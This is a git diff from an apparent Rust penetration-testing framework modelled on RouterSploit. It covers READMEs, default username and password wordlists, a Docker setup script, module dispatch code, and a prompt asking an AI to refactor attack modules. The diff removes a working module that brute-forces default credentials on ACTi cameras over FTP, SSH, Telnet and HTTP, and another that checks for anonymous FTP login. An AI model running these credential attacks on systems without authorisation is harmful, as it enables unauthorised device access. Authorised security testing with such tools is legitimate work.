- Shell: `cargo run``modules` → run a harmless module (e.g., `scanners/sample_scanner`).
- CLI: `cargo run -- --command scanner --module sample_scanner --target 127.0.0.1`.
4. **Proxy validation:** Load a mixed proxy file and confirm `proxy_test` filters entries correctly.
5. **Wordlists:** Validate that required lists exist (e.g., RTSP paths) and are referenced in docstrings.
When adding new modules, include short usage documentation (stdout prints, README notes) so other operators know how to drive them.
---
## Roadmap & Ideas
- Interactive shell improvements (history, tab completion, colored banners)
- Automated module testing harness (mock servers for POP3/SMTP/RTSP)
- Credential module templates (derive-style macros for common prompts)
- Integration with external wordlists (dynamic download or git submodules)
- Session logging (`tee` support) and output JSON export for pipeline ingestion
- Transport abstractions for UDP/DoS modules
Contributions are welcome—open an issue or start a discussion before large refactors.
---
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !*** End Patch
+49 -1
View File
@@ -1,3 +1,21 @@
Required Signature
The module must contain this exact public async function:
pub async fn run(target: &str) -> anyhow::Result<()>
Or any variant like:
pub async fn run(_target: &str) -> anyhow::Result<()>
Or even:
pub async fn run(host: &str) -> anyhow::Result<()>
Refactor this module to work with the auto-dispatch system. Do not remove any functionality or features. Make sure it defines a pub async fn run(target: &str) -> Result<()> entry point that internally calls the correct logic. Rename any conflicting functions if needed, but preserve all capabilities and structure.
Refactor this code to a Rust module so that it fully integrates into my RouterSploit-inspired Rust auto-dispatch framework.
✅ Preserve all functionality and existing logic — do not remove or simplify any capabilities.
@@ -24,4 +42,34 @@ Refactor this code to a Rust module so that it fully integrates into my RouterS
Here is the original module that needs to be refactored:
.
Strict Requirements:
The code must be 100% pure Rust, fully compatible with Linux operating systems.
The entire driver must use asynchronous Rust throughout (async/await and appropriate crates), enabling non-blocking, concurrent communication with multiple devices.
Do not include any comments, explanations, docstrings, sample usage, placeholder code, TODOs, or example outputs. The output must be only the actual source code required for a complete and functional driver.
The output must be a single, fully compilable Rust source file, containing all necessary use statements, async functions, modules, structs, enums, and logic to support end-to-end operation.
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 83 KiB

-1
View File
@@ -1 +0,0 @@
just lists like word lists
+33
View File
@@ -0,0 +1,33 @@
# 📚 Rustsploit Data Files
This directory contains reference lists and helper payloads consumed by modules under `src/modules/**`. Keep this README up to date whenever a new list is added so operators understand the expected format and typical usage.
---
## Available Files
| File | Used By | Description |
|------|---------|-------------|
| `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. |
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables “advanced headers,” the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
---
## Contributing Lists
1. **Naming:** Use lowercase and hyphens (`my-new-list.txt`) to remain compatible across platforms.
2. **Format:** Prefer plain UTF-8 text. Comment lines should start with `#` or `//` so loaders can skip them.
3. **Documentation:** Update this README with a row describing the file, the consuming module, and expected contents.
4. **Usage in modules:** Reference lists with relative paths or prompt the user for the filename. Most modules expect the user to supply the path (allowing custom lists), but shipping defaults in this directory helps bootstrap new users.
5. **Attribution:** If a list leverages community sources (e.g., SecLists), note that in the table and ensure licenses permit redistribution.
---
## Ideas for Future Lists
- `ftp-default-creds.txt` for anonymous login checks
- `telnet-banners.txt` to fingerprint devices before brute forcing
- `http-admin-panels.txt` for web interface discovery scanners
- Vendor-specific RTSP or ONVIF endpoint lists
Pull requests welcome—please include both the data file and an entry here. !*** End Patch
+1
View File
@@ -0,0 +1 @@
+20
View File
@@ -0,0 +1,20 @@
admin
password
123456
1234
root
toor
guest
default
admin123
adminadmin
pass
changeme
password1
cisco
ubnt
support
12345
qwerty
letmein
test
+20
View File
@@ -0,0 +1,20 @@
admin
root
user
administrator
guest
support
operator
supervisor
admin1
root1
manager
service
master
tech
sysadmin
default
cisco
ubnt
pi
test
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 116 KiB

+327
View File
@@ -0,0 +1,327 @@
#!/usr/bin/env python3
"""
Interactive generator for RustSploit Docker-Compose stack.
Produces:
docker-compose.rustsploit.yml (with embedded Dockerfile)
.env.rustsploit-docker
and prints the command to bring the stack up.
This variant includes runtime fixes to avoid permission-denied on /app/data
and ensures the container starts as root briefly to fix ownership, then
executes the rustsploit binary as the less-privileged `rustsploit` user.
"""
import secrets
import os
import stat
import socket
import ipaddress
import subprocess
import pwd
from pathlib import Path
# Fix: Use parent.parent since script is in scripts/ directory
repo = Path(__file__).resolve().parent.parent
if not (repo / "Cargo.toml").exists():
print("[-] Error: Run this script from the RustSploit repository root.")
print(f" Expected Cargo.toml at: {repo / 'Cargo.toml'}")
exit(1)
# ---------- Helper functions ----------
def ask(prompt, default=None, validator=None):
"""Interactive prompt with validation."""
suffix = f" [{default}]" if default is not None else ""
while True:
val = input(f"{prompt}{suffix}: ").strip()
if not val and default is not None:
val = default
if not val:
print("Value cannot be empty.")
continue
if validator:
try:
validator(val)
except ValueError as e:
print(f"Invalid input: {e}")
continue
return val
def ask_yes_no(prompt, default=True):
"""Yes/No prompt."""
hint = "Y/n" if default else "y/N"
while True:
val = input(f"{prompt} ({hint}): ").strip().lower()
if not val:
return default
if val in ("y", "yes"):
return True
if val in ("n", "no"):
return False
print("Please answer 'y' or 'n'.")
def validate_host(host):
"""Validate host/IP address."""
host = host.strip()
if not host:
raise ValueError("Host cannot be empty")
# Allow localhost
if host == "localhost":
return
# Try to parse as IP
try:
ipaddress.ip_address(host)
except ValueError:
# Not a valid IP, check if it's a valid hostname
if len(host) > 253:
raise ValueError("Hostname too long (max 253 chars)")
if any(c.isspace() for c in host):
raise ValueError("Hostname cannot contain whitespace")
def validate_port(port_str):
"""Validate port number."""
try:
port = int(port_str)
if not (1 <= port <= 65535):
raise ValueError("Port must be between 1 and 65535")
except ValueError as e:
if "invalid literal" in str(e):
raise ValueError("Port must be a number")
raise
def detect_private_ip():
"""Try to detect private IP address."""
try:
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
sock.connect(("192.0.2.1", 80))
return sock.getsockname()[0]
except OSError:
return None
# ---------- Interactive prompts ----------
print("\n[+] RustSploit Docker Setup\n")
# Host selection
print("Select bind address:")
print(" [1] 127.0.0.1 (localhost only)")
print(" [2] 0.0.0.0 (all interfaces)")
print(" [3] Private LAN IP (auto-detect)")
print(" [4] Custom IP/hostname")
choice = ask("Choice", "2")
if choice == "1":
host = "127.0.0.1"
elif choice == "2":
host = "0.0.0.0"
elif choice == "3":
detected = detect_private_ip()
if detected:
print(f"[+] Detected private IP: {detected}")
use_detected = ask_yes_no("Use detected IP?", True)
host = detected if use_detected else ask("Enter IP/hostname", validator=validate_host)
else:
print("[-] Could not auto-detect private IP")
host = ask("Enter IP/hostname", validator=validate_host)
else:
host = ask("Enter IP/hostname", validator=validate_host)
# Port
# Default changed to 9000 as this is a common API port and matches user's prior usage
port_str = ask("Host port to expose", "9000", validator=validate_port)
port = int(port_str)
# API Key
print("\n[+] API Key Configuration")
generate_key = ask_yes_no("Generate random API key?", True)
if generate_key:
api_key = secrets.token_urlsafe(32)
print(f"[+] Generated API key: {api_key}")
else:
api_key = ask("Enter API key (ASCII, max 128 chars)", validator=lambda k: None if (len(k) <= 128 and all(32 <= ord(c) <= 126 for c in k)) else ValueError("API key must be printable ASCII, max 128 chars"))
# Hardening
print("\n[+] Security Hardening")
harden = ask_yes_no("Enable API hardening (auto-rotate key on suspicious activity)?", False)
ip_limit = 10
if harden:
ip_limit_str = ask("Max unique IPs before rotation", "10", validator=lambda v: validate_port(v) if v else None)
ip_limit = int(ip_limit_str)
# ---------- File generation ----------
env_file = ".env.rustsploit-docker"
compose_file = "docker-compose.rustsploit.yml"
env_path = repo / env_file
compose_path = repo / compose_file
# Check for existing .env file
if env_path.exists():
print(f"\n[!] Warning: {env_path.relative_to(repo)} already exists.")
if not ask_yes_no("Overwrite .env file?", False):
print("[-] Aborted.")
exit(0)
# Check for existing docker-compose file
if compose_path.exists():
print(f"\n[!] Warning: {compose_path.relative_to(repo)} already exists.")
if not ask_yes_no("Overwrite docker-compose file?", False):
print("[-] Aborted.")
exit(0)
# ---- .env ----
container_interface = f"0.0.0.0:{port}"
env_content = f"""RUSTSPLOIT_INTERFACE={container_interface}
RUSTSPLOIT_API_KEY={api_key}
RUSTSPLOIT_HARDEN={"true" if harden else "false"}
RUSTSPLOIT_IP_LIMIT={ip_limit}
"""
env_path.write_text(env_content)
# Set permissions: owner read/write only (0600) to keep API key private while still readable by docker-compose
os.chmod(env_path, stat.S_IRUSR | stat.S_IWUSR)
print(f"\n[+] Generated: {env_path}")
# Fix ownership if file was created with sudo (owned by root)
if env_path.stat().st_uid == 0:
print("[!] File was created as root. Fixing ownership...")
try:
# Get the actual user (SUDO_USER if running via sudo, otherwise current user)
user = os.environ.get('SUDO_USER') or os.environ.get('USER')
if not user:
user = pwd.getpwuid(os.getuid()).pw_name
# If we're running as root (via sudo), we can chown directly
if os.geteuid() == 0:
user_info = pwd.getpwnam(user)
os.chown(env_path, user_info.pw_uid, user_info.pw_gid)
print(f"[+] Ownership fixed: {user}:{user}")
else:
# Not root, need to use sudo
subprocess.run(['sudo', 'chown', f'{user}:{user}', str(env_path)], check=True)
print(f"[+] Ownership fixed: {user}:{user}")
except (subprocess.CalledProcessError, FileNotFoundError, KeyError) as e:
print(f"[!] Warning: Could not automatically fix ownership: {e}")
print(f" Please run manually: sudo chown $USER:$USER {env_path}")
# ---- docker-compose.yml with embedded Dockerfile ----
# Note: The serve stage runs the entrypoint as root so it can fix ownership of
# /app/data at container startup, then it drops privileges and executes the
# rustsploit binary as the less-privileged `rustsploit` user via runuser.
dockerfile_content = """FROM rust:1.83-slim AS builder
WORKDIR /workspace
ENV CARGO_TERM_COLOR=always
RUN apt-get update \\
&& apt-get install -y --no-install-recommends \\
build-essential \\
pkg-config \\
libssl-dev \\
libclang-dev \\
libpcap-dev \\
libsqlite3-dev \\
&& rm -rf /var/lib/apt/lists/*
COPY Cargo.toml ./
COPY Cargo.lock* ./
COPY . .
RUN cargo build --release --bin rustsploit
FROM debian:bookworm-slim AS serve
RUN apt-get update \\
&& apt-get install -y --no-install-recommends ca-certificates util-linux \\
&& rm -rf /var/lib/apt/lists/*
# create non-root user
RUN useradd --system --home /app --shell /usr/sbin/nologin rustsploit
WORKDIR /app
# create data dir (image-level), but runtime entrypoint will chown the volume target
RUN mkdir -p /app/data && chown rustsploit:rustsploit /app/data
COPY --from=builder /workspace/target/release/rustsploit /usr/local/bin/rustsploit
# entrypoint runs as root (default) so it can fix ownership of mounted volumes
RUN echo '#!/bin/sh' > /entrypoint.sh && \\
echo 'set -e' >> /entrypoint.sh && \\
echo 'ARGS="--api --api-key \"${RUSTSPLOIT_API_KEY}\" --interface \"${RUSTSPLOIT_INTERFACE}\""' >> /entrypoint.sh && \\
echo 'if [ "\"$RUSTSPLOIT_HARDEN\"" = "\"true\"" ]; then' >> /entrypoint.sh && \\
echo ' ARGS="$ARGS --harden"' >> /entrypoint.sh && \\
echo ' if [ -n "\"$RUSTSPLOIT_IP_LIMIT\"" ]; then' >> /entrypoint.sh && \\
echo ' ARGS="$ARGS --ip-limit $RUSTSPLOIT_IP_LIMIT"' >> /entrypoint.sh && \\
echo ' fi' >> /entrypoint.sh && \\
echo 'fi' >> /entrypoint.sh && \\
# ensure data dir exists and is owned by rustsploit so that non-root process can write
echo 'mkdir -p /app/data' >> /entrypoint.sh && \\
echo 'mkdir -p /app/data/logs || true' >> /entrypoint.sh && \\
echo 'chown -R rustsploit:rustsploit /app/data || true' >> /entrypoint.sh && \\
echo 'LOG_FILE=/app/data/logs/rustsploit_api.log' >> /entrypoint.sh && \\
echo 'touch "$LOG_FILE" || true' >> /entrypoint.sh && \\
echo 'chown rustsploit:rustsploit "$LOG_FILE" || true' >> /entrypoint.sh && \\
echo 'ln -sf "$LOG_FILE" /app/rustsploit_api.log || true' >> /entrypoint.sh && \\
# finally, execute rustsploit as the rustsploit user using runuser
echo 'exec runuser -u rustsploit -- /usr/local/bin/rustsploit $ARGS' >> /entrypoint.sh && \\
chmod +x /entrypoint.sh && \\
chown root:root /entrypoint.sh && \\
chown root:root /usr/local/bin/rustsploit
# keep default user root so entrypoint can perform ownership fixes; runtime drops to rustsploit
EXPOSE 8080
ENTRYPOINT ["/entrypoint.sh"]
"""
# Create Dockerfile in repo root (hardcoded in script, not in docker/ folder)
dockerfile_path = repo / "Dockerfile.rustsploit"
dockerfile_path.write_text(dockerfile_content)
print(f"[+] Generated: {dockerfile_path}")
# Generate docker-compose.yml
compose_content = f"""# Generated by {Path(__file__).name}
services:
rustsploit-api:
container_name: rustsploit-api
build:
context: .
dockerfile: Dockerfile.rustsploit
target: serve
restart: unless-stopped
env_file:
- {env_file}
ports:
- "{host}:{port}:{port}"
security_opt:
- no-new-privileges:true
tmpfs:
- /tmp
volumes:
- rustsploit-data:/app/data
volumes:
rustsploit-data:
name: rustsploit-data
"""
compose_path.write_text(compose_content)
print(f"[+] Generated: {compose_path}")
print("\n[+] Setup complete!")
print("\n[+] Generated files:")
print(f" - {env_path.relative_to(repo)}")
print(f" - {compose_path.relative_to(repo)}")
print(f" - {dockerfile_path.relative_to(repo)}")
print(f"\n[!] Note: Run docker compose commands from the repository root:")
print(f" cd {repo}")
print("\n[+] To start the stack, run:")
print(f" cd {repo} && docker compose -f {compose_file} up -d --build")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} up -d --build")
print("\n[+] To view logs:")
print(f" cd {repo} && docker compose -f {compose_file} logs -f")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} logs -f")
print("\n[+] To stop the stack:")
print(f" cd {repo} && docker compose -f {compose_file} down")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} down")
-22
View File
@@ -1,22 +0,0 @@
use clap::{ArgGroup, Parser};
/// Simple RouterSploit-like CLI in Rust
#[derive(Parser, Debug)]
#[command(author, version, about, long_about = None)]
#[clap(group(
ArgGroup::new("mode")
.required(false)
.args(&["command"])
))]
pub struct Cli {
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
pub command: Option<String>,
/// Target IP or hostname
#[arg(short, long)]
pub target: Option<String>,
/// Module name to use
#[arg(short, long)]
pub module: Option<String>,
}
-7
View File
@@ -1,7 +0,0 @@
use anyhow::Result;
include!(concat!(env!("OUT_DIR"), "/creds_dispatch.rs"));
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
dispatch(module_name, target).await
}
-80
View File
@@ -1,80 +0,0 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("cred_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let creds_root = Path::new("src/modules/creds");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(creds_root, "".to_string(), &mut mappings).unwrap();
// Generate dispatch function
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::creds::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Cred module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively scan `src/modules/creds/` and find all `.rs` files (excluding `mod.rs`)
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found cred module: {}", mod_path);
}
}
}
}
Ok(())
}
-7
View File
@@ -1,7 +0,0 @@
use anyhow::Result;
include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
dispatch(module_name, target).await
}
-81
View File
@@ -1,81 +0,0 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("exploit_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let exploits_root = Path::new("src/modules/exploits");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(exploits_root, "".to_string(), &mut mappings).unwrap();
// Start generating dispatch code
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::exploits::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Exploit module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively walk through directories, find all .rs files excluding mod.rs
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Add to mappings if not already added
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found exploit: {}", mod_path);
}
}
}
}
Ok(())
}
-105
View File
@@ -1,105 +0,0 @@
pub mod exploit;
pub mod scanner;
pub mod creds;
use anyhow::Result;
use crate::cli::Cli;
use walkdir::WalkDir;
/// Handle CLI arguments like:
/// --command scanner --module scanners/port_scanner --target 192.168.1.1
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
let target = cli_args.target.clone().unwrap_or_default();
let module = cli_args.module.clone().unwrap_or_default();
match command {
"exploit" => {
let trimmed = module.trim_start_matches("exploits/");
exploit::run_exploit(trimmed, &target).await?;
},
"scanner" => {
let trimmed = module.trim_start_matches("scanners/");
scanner::run_scan(trimmed, &target).await?;
},
"creds" => {
let trimmed = module.trim_start_matches("creds/");
creds::run_cred_check(trimmed, &target).await?;
},
_ => {
eprintln!("Unknown command '{}'", command);
}
}
Ok(())
}
/// Handle `run` in the interactive shell after `use <module>`
/// Supports both full paths like "scanners/port_scanner" and short names like "port_scanner"
pub async fn run_module(module_path: &str, target: &str) -> Result<()> {
let available = discover_modules();
// Exact match (e.g. "scanners/port_scanner")
let full_match = available.iter().find(|m| m == &module_path);
// Short match (e.g. "port_scanner" from "scanners/port_scanner")
let short_match = available.iter().find(|m| {
m.rsplit_once('/')
.map(|(_, short)| short == module_path)
.unwrap_or(false)
});
let resolved = if let Some(m) = full_match {
m
} else if let Some(m) = short_match {
m
} else {
eprintln!("❌ Unknown module '{}'. Available modules:", module_path);
for module in available {
println!(" {}", module);
}
return Ok(());
};
let mut parts = resolved.splitn(2, '/');
let category = parts.next().unwrap_or("");
let module_name = parts.next().unwrap_or("");
match category {
"exploits" => exploit::run_exploit(module_name, target).await?,
"scanners" => scanner::run_scan(module_name, target).await?,
"creds" => creds::run_cred_check(module_name, target).await?,
_ => eprintln!("❌ Category '{}' is not supported.", category),
}
Ok(())
}
/// Walks src/modules/{exploits,scanners,creds} recursively and returns all `.rs` modules (excluding mod.rs)
pub fn discover_modules() -> Vec<String> {
let mut modules = Vec::new();
let categories = ["exploits", "scanners", "creds"];
for category in categories {
let base_path = format!("src/modules/{}", category);
let walker = WalkDir::new(&base_path).max_depth(6);
for entry in walker.into_iter().filter_map(|e| e.ok()) {
let path = entry.path();
if path.is_file()
&& path.extension().map_or(false, |e| e == "rs")
&& path.file_name().map_or(true, |n| n != "mod.rs")
{
if let Ok(relative) = path.strip_prefix("src/modules") {
let module_path = relative
.with_extension("") // remove .rs
.to_string_lossy()
.replace("\\", "/"); // Windows compatibility
modules.push(module_path);
}
}
}
}
modules
}
-7
View File
@@ -1,7 +0,0 @@
use anyhow::Result;
include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs"));
pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
dispatch(module_name, target).await
}
-81
View File
@@ -1,81 +0,0 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::{Write};
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("scanner_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let scanners_root = Path::new("src/modules/scanners");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(scanners_root, "".to_string(), &mut mappings).unwrap();
// Start generating dispatch code
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::scanners::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Scanner module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively walk through directories, find all .rs files excluding mod.rs
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Add to mappings if not already added
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found scanner: {}", mod_path);
}
}
}
}
Ok(())
}
-25
View File
@@ -1,25 +0,0 @@
use anyhow::Result;
use clap::Parser;
mod cli;
mod shell;
mod commands;
mod modules;
mod utils;
#[tokio::main]
async fn main() -> Result<()> {
// Parse command-line arguments
let cli_args = cli::Cli::parse();
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
if let Some(cmd) = &cli_args.command {
commands::handle_command(cmd, &cli_args).await?;
}
// Otherwise, launch the interactive shell
else {
shell::interactive_shell().await?;
}
Ok(())
}
@@ -1,203 +0,0 @@
use anyhow::{Context, Result};
use async_ftp::FtpStream;
use reqwest::Client;
use ssh2::Session;
use telnet::{Telnet, Event};
use std::{net::TcpStream, time::Duration};
use tokio::{join, task};
#[allow(dead_code)]
/// Supported Acti services
pub enum ServiceType {
Ftp,
Ssh,
Telnet,
Http,
}
/// Common config
#[derive(Clone)]
pub struct Config {
pub target: String,
pub port: u16,
pub credentials: Vec<(&'static str, &'static str)>,
pub stop_on_success: bool,
pub verbosity: bool,
}
/// FTP check (async)
pub async fn check_ftp(config: &Config) -> Result<()> {
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying FTP: {}:{}", username, password);
}
let address = format!("{}:{}", config.target, config.port);
match FtpStream::connect(address).await {
Ok(mut ftp) => {
if ftp.login(username, password).await.is_ok() {
println!("[+] FTP credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
let _ = ftp.quit().await;
}
Err(_) => continue,
}
}
println!("[-] No valid FTP credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// SSH check (blocking, so we use spawn_blocking in our run function)
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying SSH: {}:{}", username, password);
}
let address = format!("{}:{}", config.target, config.port);
if let Ok(stream) = TcpStream::connect(address) {
let mut session = Session::new().context("Failed to create SSH session")?;
session.set_tcp_stream(stream);
session.handshake().context("SSH handshake failed")?;
if session.userauth_password(username, password).is_ok() && session.authenticated() {
println!("[+] SSH credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
}
}
println!("[-] No valid SSH credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// Telnet check (blocking, so we use spawn_blocking in our run function)
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying Telnet: {}:{}", username, password);
}
if let Ok(mut telnet) = Telnet::connect((config.target.as_str(), config.port), 500) {
let _ = telnet.write(format!("{}\r\n", username).as_bytes());
let _ = telnet.write(format!("{}\r\n", password).as_bytes());
// Give device time to respond
std::thread::sleep(Duration::from_millis(500));
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
let response = String::from_utf8_lossy(&buffer);
if !response.contains("incorrect") && !response.contains("failed") {
println!("[+] Telnet credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
}
}
}
println!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// HTTP Web Login check (async)
pub async fn check_http_form(config: &Config) -> Result<()> {
println!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
let url = format!("http://{}:{}/video.htm", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying HTTP: {}:{}", username, password);
}
let data = [
("LOGIN_ACCOUNT", *username),
("LOGIN_PASSWORD", *password),
("LANGUAGE", "0"),
("btnSubmit", "Login"),
];
let res = client
.post(&url)
.form(&data)
.send()
.await
.context("[!] Failed to send HTTP form request")?;
let body = res.text().await.unwrap_or_default();
if !body.contains(">Password<") {
println!("[+] HTTP credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
}
println!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// Entrypoint for module - parallel checks
pub async fn run(target: &str) -> Result<()> {
let creds = vec![
("admin", "12345"),
("admin", "123456"),
("Admin", "12345"),
("Admin", "123456"),
];
let base_config = Config {
target: target.to_string(),
port: 0,
credentials: creds,
stop_on_success: true,
verbosity: true,
};
let ftp_conf = Config { port: 21, ..base_config.clone() };
let ssh_conf = Config { port: 22, ..base_config.clone() };
let telnet_conf = Config { port: 23, ..base_config.clone() };
let http_conf = Config { port: 80, ..base_config.clone() };
// Start all checks in parallel
let (ftp_res, ssh_res, telnet_res, http_res) = join!(
check_ftp(&ftp_conf),
async {
// run blocking ssh check in separate thread
task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await?
},
async {
// run blocking telnet check in separate thread
task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await?
},
check_http_form(&http_conf),
);
// Evaluate results
ftp_res?;
ssh_res?;
telnet_res?;
http_res?;
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod acti_camera_default;
-1
View File
@@ -1 +0,0 @@
pub mod acti;
@@ -1,64 +0,0 @@
use anyhow::{Context, Result};
use std::net::TcpStream;
use std::io::{BufRead, BufReader, Write};
use std::time::Duration;
/// Checks if anonymous FTP login is allowed on a target.
///
/// Example usage from shell:
/// ```
/// rsf> use creds/ftp_anonymous
/// rsf> set target 192.168.1.1
/// rsf> run
/// ```
pub async fn run(target: &str) -> Result<()> {
let port = 21;
let address = format!("{}:{}", target, port);
println!("[*] Connecting to FTP service on {}...", address);
// Connect with a short timeout
let stream = TcpStream::connect_timeout(
&address.parse().context("Invalid address")?,
Duration::from_secs(5),
)
.context("Connection failed")?;
// Clone reader/writer
let mut reader = BufReader::new(stream.try_clone()?);
let mut writer = stream;
// Read initial banner
let mut banner = String::new();
reader.read_line(&mut banner)?;
print!("[<] {}", banner);
// Send USER anonymous
writer.write_all(b"USER anonymous\r\n")?;
writer.flush()?;
let mut response = String::new();
reader.read_line(&mut response)?;
print!("[<] {}", response);
if !response.starts_with("3") && !response.contains("password") {
